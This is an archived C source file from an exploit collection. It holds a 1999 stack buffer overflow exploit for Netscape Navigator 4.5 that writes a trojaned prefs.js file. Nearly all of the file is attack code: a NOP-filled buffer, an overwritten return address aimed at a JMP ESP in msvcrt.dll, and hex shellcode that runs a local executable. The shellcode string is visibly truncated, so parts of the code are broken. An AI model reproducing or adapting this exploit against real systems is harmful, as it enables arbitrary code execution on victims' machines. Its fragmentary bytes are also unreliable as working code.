home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webbrowser / Netscape / nprefsjs.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  59 lines

  1. /* Stack based buffer overflow exploit for Netscape Navigator 4.5
  2. * Author Steve Fewer, 22-12-99. Mail me at darkplan@oceanfree.net
  3. *
  4. * Netscape Navigator causes a buffer overflow when reading from
  5. * the users "prefs.js" file. If it reads a string longer than 80
  6. * bytes in the user_pref("network.proxy.http", "proxy.com");
  7. * field it smashes the stack overwrighting the EIP and EBP. This
  8. * can be used to execute arbitrary code.
  9. *
  10. * Tested with Netscape Navigator 4.5 using Windows98 on an Intel
  11. * PII 400 with 128MB RAM
  12. *
  13. * http://indigo.ie/~lmf
  14. */
  15.  
  16. #include <stdio.h>
  17. #include <string.h>
  18.  
  19. int main()
  20. {
  21.  
  22. printf("\n\n\t\t........................................\n");
  23. printf("\t\t.....Netscape Navigator 4.5 exploit.....\n");
  24. printf("\t\t........................................\n");
  25. printf("\t\t.....Author: Steve Fewer, 22-12-1999....\n");
  26. printf("\t\t.........http://indigo.ie/~lmf..........\n");
  27. printf("\t\t........................................\n\n");
  28.  
  29. // the first 80 bytes. These get blown away when the stack goes down.
  30. char buff[96];
  31. // the EBP, we don't need to use it so fill it with B's
  32. char ebp[8] = "BBBB";
  33. // we point the EIP into msvcrt.dll v6.00.8397.0 where we find a JMP ESP
  34. @ 7FD035EB
  35. char eip[8] = "\xEB\x35\xD0\x7F";
  36. // the is our 'arbitrary code', it just runs a file app.exe from the
  37. \WINDOWS\COMMAND directory then calls exit() to clean up
  38. char sploit[128] =
  39. "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x61\xC6\x45\xF9\x70
  40. \xC6\x45\xFA\x70\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6
  41. \x45\xFE\x65\xB8\x24\x98\x01\x78\x50\x8D\x45\xF8\x50\xFF\x55\xF4\x55
  42. \x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x50\xFF\x55\xF
  43. ";
  44. FILE *file;
  45. for(int i=0;i<80;i++)
  46. {
  47. buff[i] = 0x90;
  48. }
  49. // just create our new, 'trojand' prefs.js file
  50. file = fopen("prefs.js","wb");
  51. // and slap in the the nasty sploit
  52. fprintf(file,"user_pref(\"network.proxy.http\", \"%s%s%s%s\");", buff,
  53. ebp, eip, sploit);
  54.  
  55. printf("\t created file prefs.js loaded with the exploit.\n");
  56.  
  57. return 0;
  58. }
  59.